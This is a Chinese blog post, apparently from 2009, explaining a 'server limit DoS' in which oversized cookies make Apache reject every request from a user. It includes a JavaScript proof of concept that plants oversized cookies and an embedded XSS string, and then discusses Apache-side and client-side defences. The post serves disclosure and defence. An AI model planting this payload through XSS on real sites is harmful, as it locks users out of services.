注册 登录  
 加关注
   显示下一条  |  关闭
温馨提示!由于新浪微博认证机制调整,您的新浪微博帐号绑定已过期,请重新绑定!立即重新绑定新浪微博》  |  关闭

无线时代辐射无穷

抓紧生宝宝,小心辐射

 
 
 

日志

 
 

server limit dos  

2009-10-22 09:22:34|  分类: apache |  标签: |举报 |字号 订阅

  下载LOFTER 我的照片书  |
http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html

墨西哥同学周末很郁闷的在宾馆上网,发现youtube被ban了,于是写个了tool解决这个问题。顺带想到了一种利用 google 统计的漏洞,写在这里了

http://sirdarckcat.blogspot.com/2009/04/how-to-use-google-analytics-to-dos.html

这个问题实际上是由于 webserver 的 request field limit 造成的。

当 http request header 过长时,webserver 会产生一个400 或者 4xx 错误

Your browser sent a request that this server could not understand.
Size of a request header field exceeds server limit.


如果这些超长数据保存在cookie中,或者能够让用户每次访问的http 头都超长,就会导致用户一直都无法访问该域名,也就是dos了。

sirdarckcat 发现在 google 的统计页面中存在一个 set-cookie 的地方没有控制,类似的地方还有 搜索引擎的参数会导致 referer 过长

这些用户能够控制的地方都会导致 http request field 超长,从而导致服务器返回一个 server limit 的错误.

每个 webserver 之间都有点差异, apache 可能是 8192 字节,具体可以参考这里:

http://apache.active-venture.com/mod/core6.htm


茄子下午测试了一下,发现在IE 8 中可以增加50个 cookie,由于每个cookie的限制是4k (key, value 对),所以IE8 支持的cookie大小为 204k。 这也是IE8新增的,以前没这么大。不过这些都远远超过了一般的webserver的默认 server limit 值

btw: apache 对 http request body 的limite 默认是 2G.


值得注意的是,使用XSS,将可以写cookie,从而导致这种 server limit dos 攻击

我POC了一下:

<script language="javascript">
alert(document.cookie);

var metastr = "AAAAAAAAAA"; // 10 A
var str = "";

while (str.length < 4000){
       str += metastr;
}
alert(str.length);

document.cookie = "evil3=" +"\<script\>alert(xss)\<\/script\>" +";expires=Thu,18-Apr-2019 08:37:43 GMT;";    // 一些老版本的webserver可能在这里还会存在XSS

document.cookie = "evil1=" + str +";expires=Thu, 18-Apr-2019 08:37:43 GMT;";

document.cookie = "evil2=" + str +";expires=Thu, 18-Apr-2019 08:37:43 GMT;";

alert(document.cookie);

</script>

运行这个脚本后,会在当前域下植入3个cookie,总长度超过8192字节, 之后再请求该域就会无法访问了。

因为是 stored cookie, 所以会导致该用户在清理cookie前一直都无法访问该网站。

对于互联网网站来说,用户才是最重要和最宝贵的资源,哪怕用户的帐户被盗了,对于互联网公司的的损失可能都及不上用户无法访问网站造成的损失大。

而使用 XSS WORM 或者是 威力比较大的 XSS, 可以轻易的造成数千、数万的用户无法访问网站!

关于 server limit dos 防御的问题

还是关于前两天写的 server limit dos 的问题。

    我blog上这篇文章的访问量是我所有文章里攀升最快的,看来大家对这个还是比较感兴趣。

    之所以要再次出来讲这个问题,是因为在设计修补方案的时候遇到了困难。

    luoluo之前写了篇文章讲修补的困难。

    其实造成困难的主要原因是由于在apache中无法通过mod来修补这个问题。luoluo blog上的信息不全,我转载一下luoluo的技术分析部分

> 这两天调研了下apache层面解决server limit dos的可行性,结论是基本认定除

> 了修改apache源代码之外,没办法解决。

>

> 下面是具体的一些分析,大家看看有没有问题:

>

> apache的server/protocol.c里关于http请求头处理相关代码:

>

> 837 request_rec *ap_read_request(conn_rec *conn)

>

> 838 {

>

> 839 request_rec *r;

>

> ...

>

> 880 r->status = HTTP_REQUEST_TIME_OUT; /* Until we get a request */

>

> ...

>

> 917 if (!r->assbackwards) {

>

> 918 ap_get_mime_headers_core(r, tmp_bb);

>

> 919 if (r->status != HTTP_REQUEST_TIME_OUT) {

>

> 920 ap_log_rerror(APLOG_MARK, APLOG_ERR, 0, r,

>

> 921 "request failed: error reading the headers");

>

> 922 ap_send_error_response(r, 0);

>

> 923 ap_update_child_status(conn->sbh, SERVER_BUSY_LOG, r);

>

> 924 ap_run_log_transaction(r);

>

> 925 apr_brigade_destroy(tmp_bb);

>

> 926 return r;

>

> 927 }

>

> 这里通过调用ap_get_mime_headers_core函数处理http头,如果处理后的status

> 不是之前设置的HTTP_REQUEST_TIME_OUT的话,就立即返回错误了,进去

> ap_get_mime_headers_core看:

>

> 670 AP_DECLARE(void) ap_get_mime_headers_core(request_rec *r,

> apr_bucket_brigade *bb)

>

> 671 {

>

> ...

>

> 722 apr_size_t fold_len = last_len + len + 1; /* trailing null */

>

> 723

>

> 724 if (fold_len >= (apr_size_t)(r->server->limit_req_fieldsize)) {

>

> 725 r->status = HTTP_BAD_REQUEST;

>

> 这里如果设置大于limit_req_fieldsize值(core模块的配置

> LimitRequestFields)的话,则设置HTTP_BAD_REQUEST。

>

> 那么也就是说客户端过来的请求头超长的话,就立即返回错误了,ap_hook函数

> 和apache的filter都没有在这之间插入(写了hook和filter的 module测试过确

> 实这样),apache模块就没法解决这个问题,除非修改源代码,这也不是个好办

> 法,所以我们得想其他办法了。

还有朋友想到个取巧的办法,直接自定义一个错误返回页面,里面加了js,可以把cookie给清理掉。

但是这个办法也不行,原因和上面apache mod的原因一样,还不到自定义错误页面,apache就返回了。

所以想在apache上解决这个问题,可能只有修改源代码了,很矬,非常矬。

apache的设计可能是为了防止dos,可是当初设计的时候明显没有预估到web2.0 蓬勃发展的今天,会出现另外一种基于XSS WORM,或者类似的客户端dos的情景。

我之前曾有另外一篇blog,提到凡是不在apache层修改的,都属于不在正确的地方做正确的事情,都不是从本质上修改。这是因为,如果仅仅处理 set-cookie 的地方,是无法防范最大的威胁来源XSS的,而XSS中直接通过设置 document.cookie, 数据是不会通过服务器的。

除了XSS外,还有CRLF 也可以在http头中注射一个set-cookie,此外类似于 DNS欺骗、ARP欺骗等能够在客户端直接发起攻击,如果服务器没有从根本上解决这个问题的话,很难抵御这些攻击。

除了apache,在服务器端另外解决问题的思路就是在apache的前面做方案,比如云舒提出的使用类似iptables来做七层的应用方案就是这种考虑。或者在负载均衡设备、防火墙上,均可以考虑做类似方案,但是付出的成本都相对较高。

而我今天写这篇文章的原因,是为了呼吁从客户端解决这个问题。

除了浏览器本身外,杀毒软件和主机安全软件,防挂马软件,应该有能力和义务去检查浏览器发送的cookie长度,发现异常后,应该报警和重置cookie。

技术上实现应该不难,就是看大家的重视程度。虽然很悲哀,但现实就是这样:只有满脸桃花开,才会知道花儿为什么这样红!

  

更新:

可以直接修改apache 的配置文件参数,将server端的限制去掉:( 设置为0,就是没有限制 )

LimitRequestFieldSize Directive

Description:         Limits the size of the HTTP request header allowed from the client

Syntax:         LimitRequestFieldsize bytes

Default:         LimitRequestFieldsize 8190

Context:         server config

Status:         Core

Module:         core

This directive specifies the number of bytes that will be allowed in an HTTP request header.

The LimitRequestFieldSize directive allows the server administrator to reduce or increase the limit on the allowed size of an HTTP request header field. A server needs this value to be large enough to hold any one header field from a normal client request. The size of a normal request header field will vary greatly among different client implementations, often depending upon the extent to which a user has configured their browser to support detailed content negotiation. SPNEGO authentication headers can be up to 12392 bytes.

This directive gives the server administrator greater control over abnormal client request behavior, which may be useful for avoiding some forms of denial-of-service attacks.

For example:

LimitRequestFieldSize 4094

Under normal conditions, the value should not be changed from the default.

Apache 2.0.53 or higher is required for increasing the limit above the compiled-in value of DEFAULT_LIMIT_REQUEST_FIELDSIZE (8190 as distributed).

  评论这张
 
阅读(730)| 评论(0)
推荐 转载

历史上的今天

评论

<#--最新日志,群博日志--> <#--推荐日志--> <#--引用记录--> <#--博主推荐--> <#--随机阅读--> <#--首页推荐--> <#--历史上的今天--> <#--被推荐日志--> <#--上一篇,下一篇--> <#-- 热度 --> <#-- 网易新闻广告 --> <#--右边模块结构--> <#--评论模块结构--> <#--引用模块结构--> <#--博主发起的投票-->
 
 
 
 
 
 
 
 
 
 
 
 
 
 

页脚

网易公司版权所有 ©1997-2017